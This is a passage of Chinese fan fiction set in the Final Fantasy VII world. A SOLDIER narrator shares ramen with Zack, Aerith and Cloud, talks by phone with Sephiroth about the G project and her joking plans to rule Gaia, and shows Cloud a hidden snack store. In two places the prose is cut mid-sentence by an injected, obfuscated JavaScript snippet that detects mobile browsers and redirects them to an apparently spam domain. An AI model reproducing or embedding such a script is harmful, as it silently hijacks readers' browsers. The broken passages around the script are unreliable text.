扎克斯得意地挺了挺胸膛,压低声音神秘兮兮地说,“爱丽丝小姐,我跟你说,这家店老板是我的老乡!我每次来他都会偷偷给我加料哦!你看我这碗肉是不是比菜单上的多?” “真的吗?老板人真好!” 爱丽丝好奇地探头看了看扎克斯的碗,又看了看自己碗里的,好像真的在比较肉片数量,“不过我的这份也很好吃!这个汤味道很特别,有点淡淡的甜味,我很喜欢。” 她拿起勺子舀了一口汤,满足地眯起了眼睛。 “对吧对吧!”扎克斯找到了知音,更加兴奋起来,“这家店的秘制酱油是关键!老板说里面加了十几种香料呢!我每次都能把汤喝光!” 看扎克斯那个得意的样子,好像这次请客的人不是我是他一样。 我转头看向坐在旁边的克劳德。这家伙从刚才开始就一直很安静,默默地喝着他的味增汤,偶尔抬起头看看扎克斯和爱丽丝。 看看,这个家伙就很有被请客的自觉性,也只点了汤。 似乎察觉到我的视线,克劳德抬起头,正好对上我的目光。他愣了一下,随即有些慌乱地移开了视线,耳根泛起一丝微红。 怎么人越多他看起来越沉默?刚刚在车后座跟我争吵的陆行鸟去哪了? “那个,长官,”他小声开口,声音低得几乎要被拉面馆里的嘈杂声盖过,“您的面…快要凉了。”他指了指我那碗几乎没怎么动的拉面,提醒道。 “哦。” 我应了一声,重新拿起筷子,挑起一撮面条塞进嘴里。见克劳德那个蠢样,于是我夹了块肉给他。 “喏。” “……谢谢!!” 我点点头,顺手戳了戳陆行鸟翘起的金毛,一抬头,就发现扎克斯正盯着我看。 这什么鬼眼神? 于是我直接抢走他碗里的一块叉烧。 “!!“ 扎克斯发出一声短促的惊呼,但他看起来不仅不沮丧,还一副有些开心的模样。 ”前辈想吃的话可以不用抢,直接跟我说呀!“ 嗯,不愧是我的一号小弟,很有自觉性。 我认真的开口。 ”抢的比较好吃一些。“ ”哎——?!“ 一旁的爱丽丝观察着这边的场景,我觉得她可能是没吃饱,于是顺手给她又勾了一份甜品。 服务生很快端着一个精致的小碟子过来,上面放着一块淋着巧克力酱、旁边还点缀着几颗新鲜草莓的芝士蛋糕。浓郁的奶香和巧克力的甜香混合在一起,光是闻着就让人食指大动。 “哇!是芝士蛋糕!”爱丽丝看到甜品,眼睛一下子亮了起来,像发现了什么宝藏,“看起来好好吃!” 我正要大肆吹捧我的高级口味,就被终端的振动打断。 ”啧……“ 屏幕亮起。 【早点回来。】 就这么四个字,他酝酿了这么久? 毕竟往日的萨菲罗斯总是秒回。 我突然站了起来,对他们三个挥了挥手后,走出餐厅,直接给他打电话。 身后扎克斯叽叽喳喳安利甜品、爱丽丝礼貌回应、以及克劳德默默喝汤的背景音都留在了门后。 傍晚的第五区街道比白天更热闹一些,路灯已经亮起,昏黄的光线和周围店铺闪烁的廉价霓虹灯交织在一起,空气中弥漫着食物、灰尘和人潮混合的气味。 我找了个相对安静的墙角,背靠着冰冷的砖墙,直接拨通了萨菲罗斯的号码。终端里传出几声单调的“嘟嘟”声,比他平时接电话的速度慢了一些。 “喂?” 电话那头传来他低沉平稳的声音,听不出什么特别的情绪,就像是在接一个无关紧要的工作电话。 ”萨菲罗斯,你在做什么?“ 他一下没有回答,估计有些意外。 毕竟我没有问杰内西斯的事情,也没有问他怎么把人放跑了。 电话那头的沉默只持续了一两秒,随即被萨菲罗斯平稳的声音打破。 “处理一些后续事务。” 他回答,听起来像是在办公室或者某个安静的室内环境,背景音非常干净,只有极轻微的、纸张翻动的细碎声响,很快又消失了。 “刚才的袭击造成了一些混乱,需要整理报告和安排后续的警戒部署。” “哦,原来是在加班,”我靠着墙,换了个更舒服的姿势,语气里带着点幸灾乐祸,“真可怜,我还在休假呢,而且刚吃完超好吃的拉面。” 我故意把“休假”和“拉面”两个词咬得很重。 “嗯,”他应了一声,那轻微的鼻音听不出什么情绪起伏,“拉面?是扎克斯带你去的那家吗?” 啧,这家伙,连扎克斯喜欢哪家拉面都知道? “你怎么知道?”我立刻反问,语气里充满了怀疑,“你派人跟踪我了?” 电话那头传来一声极轻的的叹息,那声音细微得几乎被电流声淹没,但我还是捕捉到了。 “扎克斯的口味偏好,在特种兵档案里有记录。而且,你之前也提过和他一起去吃面。” “哦,这样啊。那加班的英雄大人,要不要听听我今天的冒险故事?我今天可是带了两个新小弟,还‘借’了辆超酷的摩托车出去兜风了呢!” 我兴致勃勃地开始描述今天的“壮举”,故意忽略了晕倒和吐血那段不怎么光彩的小插曲,着重强调了飙车的刺激和在野外“探险”的乐趣,还有我如何“英明神武”地收服了克劳德和爱丽丝。 萨菲罗斯安静地听着,偶尔会发出一声表示在听的“嗯”,没有打断我。他的呼吸平稳悠长,电话那头安静得落针可闻,只有我一个人的声音在夜晚的街道上回响。 等我说完,他才再次开口,声音依旧平稳,却带着一种微妙的审视感。 “所以,‘可爱小花’是指那位在你口中能在米德加种出生命的少女爱丽丝,‘沉默陆行鸟’是指那个故事里一直被你调侃发型、敢怒不敢言的金发神罗兵克劳德?” 他居然把我发消息里的称呼记得一清二楚。 “没错!”我得意地承认,“怎么样?我的眼光不错吧?一个是未来的科研部长,一个是未来的星际战士!等我当上盖亚皇帝,他们都是我的左膀右臂!” “科研部长?星际战士?” 萨菲罗斯重复着这两个头衔,声音里似乎染上了一丝难以捉摸的笑意,“你的规划,总是这么…出人意料。” ”那当然!“ ”嗯。“ “帅气吧?” “不错的未来安排。” “喂,你是不是笑了?” “没有。” 空气中安静了一会。 我将脚边的石子踢开。 ”啊对了,杰内西斯和安吉尔是人造人?那个什么……G计划……的产物?“ “……对。” 接着萨菲罗斯开始跟我解释起关于杰内西斯和安吉尔的事,比扎克斯随口说的那些零碎信息具体了很多。 比如,G计划在于注射古代种的细胞,产出相应的G系神罗战士——杰内西斯和安吉尔是唯二的成功产品。 比如,安吉尔和杰内西斯正处于劣化的阶段,目前据说只有那个名为荷兰德的博士可以帮他们。 比如,萨菲罗斯看到了那些在罐子里被用于复制的“怪物”。 啪。 石子敲击墙壁。 场景又归于寂静之中,耳畔是他浅浅的呼吸声。 “呃,我们会不会也是人造人呢?注射古代种细胞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479176|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的……怪物?” 电话那头再次陷入了沉默,这一次的沉默比之前任何一次都要长。 我甚至能清晰地听到电流中夹杂着的、属于萨菲罗斯那被刻意压抑却依旧泄露出些许紊乱的呼吸声。 又很快被他强行调整回来,恢复了惯常的冷静悠长。 “为什么这么问?”他的声音终于再次响起,依旧是那般沉稳。 “毕竟,我们四个好像……啧。” 第二颗石子被我踢开。 “我们四个都比较与众不同嘛。只是联想——我们可能来自S计划或者是……H计划?啊,也有可能是不同流水线生产出来的。” 想到这种可能性,我笑了一下。 电话那头,久久没有回音。 我百无聊赖地用鞋尖蹭着地面,看着墙角一只蟑螂慢悠悠地爬过。 难道他那边信号不好?还是说,我的流水线比喻戳中了他哪个笑点,让他笑得说不出话来了? 于是我用鞋子把那只蟑螂赶跑。 "这样不是更好了吗?" “……” “更好?” 萨菲罗斯的声音终于再次响起,重复着我最后那句话,尾音带着一丝不易察觉的、极轻微的疑惑。 那声调不像是反问,更像是在确认自己没有听错,又或者是在试图理解这个词语在我口中截然不同的含义。 “是啊,因为……我是怪物嘛。” 我用鞋尖又踢飞了一颗小石子,看着它在昏暗的街道上滚出去很远。 这个名头,自我有意识之时就伴随着我。 还挺帅气。 “你也是的话……我们可以一起统治盖亚了。” “一起,统治盖亚?” 他缓慢地重复着我的话,每一个字都咬得很清晰,像是要把这几个字拆开来仔细研究。那声音比刚才更加低沉,甚至带着一丝难以分辨的沙哑,仿佛有什么东西梗在他的喉咙里。 我挑了挑眉,等着他接下来的反应。 估计和刚刚一样,又要拿那种要笑不笑的语调跟我说话了吧?啧,毕竟萨菲罗斯哪里能理解我的远大目标—— “这个目标,”他停顿了一下,我能听到他那边传来极轻微的、调整呼吸的声音,然后他才继续说道,语气恢复了惯常的平稳,但细听之下,却蕴含着某种暗流涌动,“听起来比你之前的‘星际征伐’要务实一些,比‘神罗总裁’更远大一些。” 我语气严肃。 “星际征伐是下一阶段的目标。” “……呵。” 萨菲罗斯轻笑了一声,我听见他那边好像将什么东西放下了,应该是文件。 “我们,一起吗?这真是有难度。” 一提起我的计划,我就开始兴奋了。 “是啊是啊。而且你看,现在发现我俩可能不是人——这更棒了!我们就可以合理的奴役盖亚上的人类,当然,是那些对我们计划的反对分子,我们还是需要团结一切可以团结的力量,然后一齐……” 我挥了挥手,比了一个自认为帅气的手势。 “一齐飞向星际!” 萨菲罗斯的声音里带着明显的笑意,透过终端,清晰地传递过来,带着轻微的震动感,“听起来你的准备工作做的很充分。连口号都想好了。” 正当我即将勃然大怒之时,他继续了这个话题。 “那么,‘盖亚皇帝’陛下。” “奴役反对者,团结支持者,然后一齐飞向星际。这个流程听起来很清晰,不过,你有没有考虑过一些细节问题?” “细节?”我皱起眉头,用脚尖踢着墙根,“什么细节?我的计划完美无缺!” “比如,”萨菲罗斯的声音依旧平稳,像是在进行一场严肃的战术推演,“如何准确地筛选出‘反对分子’和‘可以团结的力量’?仅凭他们是否反对你的统治吗?标准会不会太单一?有些人可能只是愚钝,或者暂时没看清你统治带来的好处。” 欸? “唔,”我摸了摸下巴,开始顺着他的思路想,“这个嘛…好办!到时候设置一个思想考核!凡是质疑我的英明神武,或者不愿意为星际征伐贡献力量的,统统划为反对派!至于那些摇摆不定的…可以给他们一个观察期,表现好了就吸纳进来,冥顽不灵的就跟反对派一起打包处理掉!” “思想考核,观察期,”萨菲罗斯那边传来了轻微的、似乎是在记录什么的细碎声响,“听起来需要建立一套庞大的监控和评估体系。这需要大量的人手和资源。你打算从哪里获取这些启动资源?” 我理所应当,“那不是现成的吗?直接接收神罗的全部资产啊!他们的钱,他们的技术,他们的人手…除了那些冥顽不灵的高层需要处理掉,剩下的都可以为我所用!尤其是科研部,那帮家伙脑子虽然不正常,但搞研究还是有点用的。” “对了,宝条必须第一个处理掉!” 我越说越起劲。 比如跟他说我要把米德加的魔晄炉重新规划,要拆掉几座,恢复下生态。还有做掉神罗总裁,自己上位后给神罗改名。 不知不觉的,时间过去了,我的脚边也没有石子可以踢了。 “有些晚了。” 萨菲罗斯突然打断我的激情演讲。 我眨了眨眼,看了下终端上显示的时间。 “啊!居然过去了半小时!我的小弟们还在里面呢……” 我正准备挂电话,他忽然叫住了我。 以一种非常奇怪的语调,念那几个简单的字节—— 我的名字。 他又念了一遍,这次更清晰,那两个音节像是被他含在舌尖细细品味过一般,带着一种奇特的韵味。 “……” 正当我疑惑他是不是信号卡了之时,萨菲罗斯接了下去。 原来他刚刚是呼唤我? “面,还记得吗?” “怎么,你要吃?” 我漫步回面馆,推开门,热乎乎的餐馆和外面带着微凉的风不大一样。 扎克斯正趴在桌子上一动不动,他看起来像是喝醉了——那酒是我点给我自己喝的啊! 爱丽丝在一旁咬着甜品的勺子,她瞥见我后,恢复了笑容,将我那碗特地给老板加热了的面摆回了桌面上。 克劳德的视线从餐馆外的玻璃上收回,他的视线移动,落在了走近的我身上。 他难道一直在盯着我看? “……嗯。” 我坐回了座位上,拿起菜单,顺手拍了拍扎克斯的脑袋。 “那你要什么?呃,豚骨拉面吃吗?” 他的声音听起来比刚才更清晰了一些,似乎刚才调整了姿势,离终端更近了,大概是怕我听不清,“和你一样的就可以。多加一份叉烧。” 萨菲罗斯居然知道我喜欢多加叉烧。 “行,没问题,”我爽快地应下,手指在菜单上划拉着,直接向不远处的服务生招手,“再来一份特浓豚骨拉面,双倍叉烧,打包带走!” 一旁的克劳德保持着安静,他大概是不想打扰我的电话,只是勉强用手比划着,好像想竭力表达什么。 【扎克斯,喝了,长官你的,酒,喝完了】 这个扎克斯,我放那里是等着回去尝尝的,他不会以为是我给他专门点的吧?成年没多久就开始偷喝我的酒了? 我捂着额头,又去扯了一把扎克斯的头发,一旁的爱丽丝看见了,轻轻捂着嘴偷笑。 “……” 萨菲罗斯又叫了一声我的名字。 “怎么了?” 我拿起筷子。 “早点回来。” 他没有挂断。 34. 第32章 把爱丽丝送回家后,我和克劳德扛着睡着的扎克斯回到了摩托上。 “……” 扎克斯显得就有些大只了。 我不得不把手上的面和终端丢给克劳德,让他坐在最后,接着让扎克斯靠在我背后——让我们两个人夹着他,不至于让他掉下去。 “啧。” 我看着像块巨型膏药一样粘在我背上的扎克斯,忍不住发出嫌弃的声音。他脑袋歪搭在我的肩膀上,嘴里还时不时发出含糊不清的梦呓,热乎乎的,带着我原先自己想喝的酒的味道。 “克劳德,你抓紧点,别让他掉下去了!”我回头对克劳德提醒。 这家伙现在看起来紧张得像根棍子,双手死死地攥着摩托车后架,还要腾出一只手小心翼翼地扶着扎克斯的后背,另一只手还得笨拙地捧着终端和那份打包的拉面。 “知、知道了,长官!” 克劳德的声音因为紧张而有些发颤,他努力挺直腰板,试图用自己那还略显单薄的身体固定住摇摇晃晃的扎克斯,“我会抓紧的!面也拿稳了!” 他的视线时不时地瞟向被他夹在胳膊和身体之间的终端屏幕,那里还显示着通话中的界面,时间在一分一秒地跳动。萨菲罗斯那边依旧是一片沉默。 这感觉,真是诡异。 “前辈……” 扎克斯又在说话了,还叫我的名字,他那刺猬一样的黑发弄得我脖颈痒死了。 “……再来一杯……嗝……” “扎克斯,老实点!再乱动就把你扔下去喂野狗!” 我不耐烦地抱怨,稍微晃动了一下肩膀,试图把他那颗毛茸茸的脑袋顶开。 “呜,前辈……别丢下我……” 他非但没有老实,反而像是受到惊吓的小狗,环在我腰上的手臂下意识地收紧了几分,整个人更紧地贴了上来。隔着几层衣物,我都能感觉到他胸膛传来的热度和急促的心跳。 我感觉额角的青筋都在跳。 这家伙,清醒的时候也没见他这么……黏人。 勉强拧动油门,我扯了扯自己的面罩,慢慢的启动。 “长、长官!小心!前面有垃圾桶!” 克劳德惊慌的声音从最后面传来,紧接着是捧着的终端和拉面包装袋碰撞发出的轻微声响。 我赶紧稳住车把,险之又险地绕过了那个堆满垃圾、散发着酸臭味的铁皮桶。车身因为突然的转向而剧烈晃动了一下,最后面的克劳德发出一声短促的惊呼,手忙脚乱地试图稳住身体和手里的东西。 “抓稳了没有,克劳德。” 我喊道,感觉自己像是在开一艘严重超载、随时可能散架的破船,而不是一辆酷炫的摩托车。 “抓、抓稳了,长官!”克劳德的声音带着点努力控制平衡的喘息,“扎克斯前辈他、他又往左边倒了!我快拉不住了!” 我从后视镜里瞥了一眼,只见克劳德整个人几乎都快贴在扎克斯背上,用手肘抵着他,勉强维持住平衡,那张清秀的脸上写满了紧张和无助,湛蓝的眼睛瞪得溜圆。 而被夹在中间的扎克斯,对此毫无所觉,依旧睡得香甜,甚至还砸吧了两下嘴,又开始嘟囔:“拉面……真好吃……” “啧,这家伙,睡着了也不安生,”我嘀咕着,放慢了车速,尽量选择更平坦的路面行驶,“克劳德,等会儿到了宿舍楼下,你负责把他扛上去。” “欸?我、我一个人吗?”克劳德的声音里充满了难以置信,“长官,扎克斯前辈他…我怕我不小心……” “怕什么?你不是要成为特种兵吗?连个醉鬼都扛不动,还想当星际战士?”我不客气地反问,“拿出你身为二号小弟的觉悟来!” “可是……”克劳德还想争辩。 “没有可是,”我打断他,“扛上去,我要去停车。” “唔……” 克劳德不说话了,估计是在默默计算自己的力气和扎克斯的体重。 摩托车慢悠悠地穿梭在米德加夜晚的街道上。两旁高耸的建筑投下巨大的阴影,偶尔有巡逻的士兵或晚归的行人经过,看到我们这奇特的“三人行”组合,都投来好奇或怪异的目光。我拉低了面罩,假装什么都没看见。 被迫放慢的速度让我有闲心观察周围。夜晚的米德加,褪去了白天的冰冷和秩序感,在昏黄的灯光和阴影的交织下,呈现出一种迷离而颓废的美感。空气中飘荡着各种各样的气味,有食物的香气,有垃圾的腐臭,还有魔晄炉隐约散发出的、带着金属腥气的味道。 “前辈……好软……” 扎克斯又开始说梦话了,这次声音更含糊,脑袋在我肩膀上蹭来蹭去。 我忍无可忍,腾出一只手,用力捏住了他的脸颊。 “再动!信不信我把你脸捏变形!” “呜……” 扎克斯发出一声呜咽,总算稍微老实了一点点。 后面的克劳德看着这一幕,什么也没说。 他微微垂下眸子,然后,就听见了终端里自己“偶像”的声音。 “克劳德·斯特莱夫,对吧?” “……是!” “终端可以放在面的袋子里,之后,用手稳住扎克斯。” 萨菲罗斯看起来像是给我们这种胶着的状态提建议。 “是,萨菲罗斯大人!” 克劳德几乎是下意识地应答,声音因为激动和紧张而微微发紧。他手忙脚乱地开始执行指令,先是小心翼翼地,试图把捧着的电子设备塞进那个不算大的塑料袋里。 终端屏幕的光亮在袋子里明明灭灭,通话界面依然醒目。他笨拙地调整了好几次角度,才勉强把它们都塞进去,还要确保不会压到面条,也不能让屏幕被遮挡。 接着,克劳德深吸一口气,像是要完成什么神圣的使命,空出来的手立刻紧紧抓住了扎克斯的后背,另一只手也更加用力地箍住了对方的腰。他努力调整着自己的重心,试图用尽全力将这摊烂醉如泥的“前辈”固定在摩托车后座上。 他成功了。 终于,我们三个不是像年糕一样歪斜的粘在一起。 平稳的夜色中,终于安静了下来。 克劳德在后面尽职尽责地充当着“人肉固定带”,虽然依旧紧张,但动作明显比刚才稳健了一些。 扎克斯因为疲惫和醉意,迷迷糊糊的睡着了,他的脑袋靠着我的肩膀,呼吸变得均匀绵长。 终端内,依然平静。 “萨菲罗斯,”我忍不住开口,“你怎么还不挂电话?是那边信号不好挂不了?” “信号很好。” 他立刻回答,声音清晰平稳,“我在听。” “听什么?听我训斥小弟,还是听扎克斯说梦话?”我撇撇嘴,“没什么好听的,赶紧挂了去忙你的吧,神罗英雄大人。” “不忙。”他的回答简洁得惊人。“我在等你回来。” 等我回来? 这话说得…我怎么觉得哪里怪怪的……等我回去干什么?检查我有没有偷懒? 也可能是为了吃面吧。 终于,熟悉的神罗员工宿舍楼出现在视野里。我在楼下入口处停稳了摩托车。 “好了,克劳德,”我熄灭引擎,率先跳下车,活动了一下有些僵硬的肩膀,“展现你力量的时候到了!” 克劳德看着还趴在我身上睡得不省人事的扎克斯,又看了看自己依旧有些发颤的手臂,脸上露出了混合着决心和茫然的表情。 他先是小心翼翼地把装有终端和拉面的袋子挂在车把上,然后深吸一口气,用一种近乎悲壮的姿态,开始尝试把扎克斯从摩托车后座上弄下来。 说实话,克劳德的力气比我想象的要大很多。 他几乎是不怎么费力就把扎克斯带了起来,但已经喝醉的人身体是完全放松的,软绵绵的。克劳德先是试图把他顺势架起,结果扎克斯的腿一软,差点把他一起带倒。他又尝试去背,刚把人弄到背上,扎克斯的脑袋就往后一仰,差点磕到地上。 “啧,”我看不下去了,上前一步,抓住扎克斯一条胳膊,帮克劳德分担了一部分重量,“这样,你架着他另一边,一起把他拖上去!” “是,长官!” 克劳德如蒙大赦,赶紧调整姿势。 我们两人一左一右,半拖半架地把烂醉如泥的扎克斯往宿舍楼里弄。 他的脚在地上拖出两道痕迹,嘴里还在哼唧着什么意义不明的音节。 差不多到了扎克斯的门口,克劳德很明显的松了一口气,我用扎克斯口袋里的门卡把门打开后,把他丢在了他的床上。 “呼……” 克劳德松了口气,他擦了擦脸颊的汗,与我一齐出了门,接着,金发少年垂下了脑袋,就那样站在走廊。 我拍了拍身上的灰尘,想到了什么,上前轻拍他的肩膀。 “克劳德,你力气不错啊。对了,刚刚只喝了汤,有觉得饿吗?” “我,我不饿,长官,”他有些结巴地回答,视线快速地扫了我一眼,又像受惊般飞快地移开,落在自己那双磨得有些旧的军靴上,“刚才的汤…很好喝,已经饱了,谢谢长官关心。” 那副小心翼翼的样子,看得我忍不住想再伸手去戳戳他那头不听话的金毛。 “我其实在神罗宿舍楼这边藏了零食呢,你想吃吗?” 幸好此时的终端在摩托车那,可不能让萨菲罗斯知道我的秘密隐藏点。 “零、零食?” 神罗宿舍的管理是出了名的严格,私藏大量零食这种行为,严格来说是违反规定的,虽然很少有人真的会去管。 “长、长官您还有藏零食的地方?” 他的声音很小,带着明显的惊讶和一种…难以置信的好奇?似乎很难想象像我这样强大的1st特种兵,还会像普通士兵一样偷偷藏零食。 “当然了,”我理所当然地扬起下巴,伸手揉了揉他那头看起来手感很好的金毛——嗯,果然很软,就是有点扎手,“神罗食堂那些东西,偶尔吃吃还行,天天吃谁受得了?不补充点能量怎么行?我的战斗力可是很宝贵的!” 我拍了拍他的肩膀,示意他跟上,“走吧,带你去见识一下我的秘密宝库!一般人我可不告诉他。” “欸?是、是!” 克劳德被我扯他头发的动作弄得浑身一僵,但听到“秘密宝库”和“一般人我不告诉他”这样的话,他的眼睛里明显亮起了一点光芒。下意识地挺直了腰板,他的脚步有些局促,但还是立刻跟在了我的身后。 “那个,长官,”他跟在我身后几步远的地方,声音依旧有些小,带着试探的意味,“需要我帮忙拿吗?或者…需要放哨什么的?” 他似乎很想为这次“秘密行动”贡献一点力量,哪怕只是做点微不足道的小事。 我摇了摇头。 “你跟我一起去,看你喜欢吃什么……我可不知道陆行鸟的口味。” “……” 克劳德最有意思的就是他这种敢怒不敢言的憋闷感。 我领着他,轻车熟路地拐进了一条岔路。神罗的员工宿舍楼内部结构复杂,如同一个巨大的迷宫,各种管道和通风口纵横交错,墙壁是冰冷的金属色,偶尔能看到维修留下的焊接痕迹。 “长、长官,”跟在我身后的克劳德小声开口,声音在寂静的走廊里显得有些突兀,“我们这是去哪里啊?这里好像是…存放备用零件的区域吧?” 我回过头,将面罩半掀下,理所应当道,“秘密宝库当然要藏在没人会注意的地方。难道还放在宿舍门口,等着被管理员没收吗?” 我带着他在如同迷宫般的管道和储物间之间穿梭,七拐八拐,最后停在了一个毫不起眼的维修通道入口前。入口被一块巨大的金属板挡着,上面布满了灰尘和油污,看起来很久没人动过了。 “到了!”我宣布道,拍了拍那块金属板,发出沉闷的声响。 “这、这里?”克劳德瞪大了眼睛,看着眼前这块脏兮兮的金属板,脸上写满了难以置信,“长官,您说的秘密宝库…就在这后面?”他似乎很难将“宝库”这个词和眼前这破败的景象联系起来。 “不然呢?”我挑眉,双手抓住金属板的边缘,用力一拉。随着一阵刺耳的金属摩擦声和灰尘的簌簌掉落,金属板被我挪开了半米,露出了后面一个仅容一人通过的狭窄通道。通道里黑漆漆的,散发着一股陈旧的霉味和灰尘的味道。 我率先弯腰钻了进去,然后回头冲着还在发愣的克劳德招了招手。 克劳德赶紧跟着弯腰钻了进来。通道很矮,他不得不一直弓着背才能前进,那头金色稍稍蹭到了顶部的管道,沾上了一些灰尘。 通道并不长,走了大概十几步,眼前豁然开朗。 这似乎是一个废弃的小型储藏室,空间不大,大概只有十来平米。房间里没有窗户,只有头顶一盏昏暗的应急灯发出微弱的光芒,勉强照亮了四周。墙角堆放着一些废弃的电缆和损坏的零件,空气中弥漫着浓重的灰尘味。 而就在这片杂乱之中,房间的正中央,整齐地码放着好几个半人高的密封储物箱。箱子看起来很新,与周围的环境格格不入。 “噔噔噔噔!”我张开双臂,向我的小弟宣布,“欢迎来到我的二号零食储存库!” 克劳德一下就认出了这是神罗内部用来存放特殊器械和精密武器零件的储存器。 “这是……军用级别的箱子吧?拿来装零食吗……?” 怎么,你有意见? 我没有理睬他的质疑,走到其中一个箱子前,熟练地解开密封扣,打开了盖子。 箱子里果然塞满了琳琅满目的零食,包装五颜六色,从神罗商店里能买到的普通货色,到一些一看就很昂贵的进口点心,甚至还有几瓶看起来像是高级果汁或汽水的玻璃瓶饮料,塞得满满当当,几乎没有一点缝隙。 “怎么样?”我回头看向还愣在原地的克劳德,得意地扬了扬下巴,“种类齐全,口味丰富,保质期全部确认过,怎么样,是不是比神罗食堂强一万倍?” “这、这也太多了吧长官!” 克劳德终于找回了自己的声音,他走近几步,看着箱子里那堆积如山的零食,语气里充满了震惊,“您、您是怎么把这么多东西弄进来,还没被人发现的?” “秘密,你挑吧。对了,有很多果蔬干,不是神罗科技的那种——指不定还有你家乡产的呢。” 他湛蓝的眼眸在那一瞬间亮了起来,下意识地向前走了两步,目光开始在那堆积如山的零食中搜寻起来。那些五颜六色的包装袋在他眼中仿佛变成了某种模糊的色块,他努力地辨认着上面的文字和图案。 我看着他这副样子,得意地哼了一声,随手从箱子里捞出一包看起来很高级的巧克力饼干,撕开包装就往嘴里塞了一块。嗯,味道不错,甜而不腻。 “怎么?你家乡是产什么的?土豆?还是玉米?” 我含糊不清地问,一遍嚼着饼干,一边用胳膊肘捅了捅还在发愣的克劳德,“快挑啊,磨磨蹭蹭的,等下管理员巡逻过来了,我先带着我的零食跑路哈。” “我,我的家乡在尼布尔海姆,”克劳德小声回答,视线依旧没有离开那个零食箱,他的手指有些犹豫地伸向一包用牛皮纸袋装着、看起来很朴素的果干,“那里……山很多,会出产一些野果子,还有…村民们自己晒的肉干。” 他的指尖最终停留在了一个不起眼的角落,轻轻拿起了一小袋透明包装的东西。那里面装着一些深褐色的、形状不规则的干果,看起来像是某种梅子或者李子干。包装很简单,没有任何花哨的图案,只贴着一张手写的小标签,上面的字迹有些潦草。 “这个,”克劳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479177|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德的声音带着一丝不确定,他将那袋果干拿到眼前,仔细辨认着标签上的文字,“好像是…酸角干?我小时候…妈妈会给我买这种。” 他捏着那袋不起眼的果干,眼神里流露出一种复杂的情绪。 “哦?酸角干?” 我凑过去看了一眼,觉得那玩意儿黑乎乎的,看起来就不好吃,“这玩意儿看起来酸酸的,有什么好吃的?我这里还有进口的草莓干、芒果干、无花果干,哪个不比这强?” 我随手又拿起一包包装精美的草莓干,在他面前晃了晃,试图用更“高级”的零食引诱他。 克劳德却摇了摇头,他小心翼翼地把那袋酸角干揣进了自己制服的口袋里,动作轻柔得像是在对待什么珍宝。 “谢谢长官,我就要这个。”他低声说,脸上泛起一丝微红,“这个…就够了。” “就这个?” 我难以置信地看着他,“克劳德,你是不是傻?这箱子里这么多好吃的,你就挑个最不起眼的?我跟你说,这个巧克力棒超好吃,还有这个海苔味的薯片,脆得很!那边还有冰镇的果汁!” 我指着箱子里的各种“硬通货”,试图让他改变主意。 这家伙,也太容易满足了吧?简直愧对我“二号小弟”的身份! “不、不用了,长官,”克劳德连忙摆手,显得有些局促不安,“真的够了。这个…我很喜欢。而且,”他顿了顿,似乎在鼓起勇气,“长官您这里的零食太多了,我、我拿多了也吃不完。” 他微微低下头,避开了我的视线,“而且,这么多零食,被发现的话,您也会有麻烦吧?我不能…不能再给您添麻烦了。” 这话什么意思。 “麻烦?”我嗤笑一声,又塞了一块饼干进嘴里,“克劳德,你是不是忘了我是谁?神罗公司敢找我麻烦的人,还没生出来呢!再说了,”我拍了拍那个装满零食的军用箱,“我一共有四个储藏库,这里只是其中之一——一般我只吃一号,二号基本没怎么开过。” 从小到大,我在神罗囤积了不知多少零食,之前还因为在五台作战过期了一部分。 我不由分说,直接从箱子里抓了一大把各种包装的糖果、肉干和小饼干,一股脑地塞进他怀里。 “你带回去吧,神罗军的食堂我吃过,不大像人吃的,换换口味也不错。” “谢、谢谢长官…” 克劳德抱着那堆零食和一瓶沉甸甸的果汁,感觉自己快要被淹没了。他低着头,金色的发丝垂下来,遮住了他的表情,却难以遮掩他越加泛红的耳尖。 怪了,这里通风不错啊……很闷吗?还是说他太累了? “好了,东西也拿了,”我稍加思索后,点点头,重新关上零食箱的盖子,扣好密封扣,“我们该撤了。等下你想想怎么把这些东西神不知鬼不觉地弄回你宿舍吧。” 我拍了拍箱子,“下次想吃了再来找我,或者我可以带你去一号库,那边东西更多。” “是,长官。”克劳德应了一声,声音闷闷的。他小心翼翼地抱着怀里的“宝藏”,跟在我身后,准备离开这个秘密据点。 “对了,”我走到通道口,回头看了他一眼,“你那袋酸角干,真的好吃吗?” 克劳德愣了一下,随即抬起头,脸上露出一丝极淡的笑容,那笑容如同阴天里偶尔露出的阳光,带着一种腼腆的暖意。 “嗯,”他轻轻点头,声音虽然依旧不大,却带着一种肯定的意味,“味道很不错。我小时候经常吃。” 这样吗?那下次我也可以尝尝。 把克劳德护送回他宿舍后,我下了楼,将刚刚半掀的面罩彻底扯下,放在口袋里。 暗红色的摩托上挂着那个塑料袋,我稍微摸了摸面的包装袋——嗯,还是温热的。 我和萨菲罗斯的宿舍不跟其余的士兵/特种兵一起,地点在神罗大厦的科学部里。 拿出袋子里的终端,发现萨菲罗斯那边居然还保持着通话状态。 “喂?还在吗?” 我对着终端问了一句。 “嗯。”他很快的应了一声。 “你还没挂?等什么呢?” “等你。” 又是这两个字。我皱了皱眉,一边往神罗大厦那边走,一边问道:“你现在在哪儿?” “你身后。” 冰冷而熟悉的声音,几乎是贴着我的耳廓响起。 我猛地转过身。 一身便服的银发的男人站在我身旁,距离不远也不近——他走路居然没有发出一点声音。 “啧,你什么时候来的?” 我不满地抱怨一声,然后开始推车。 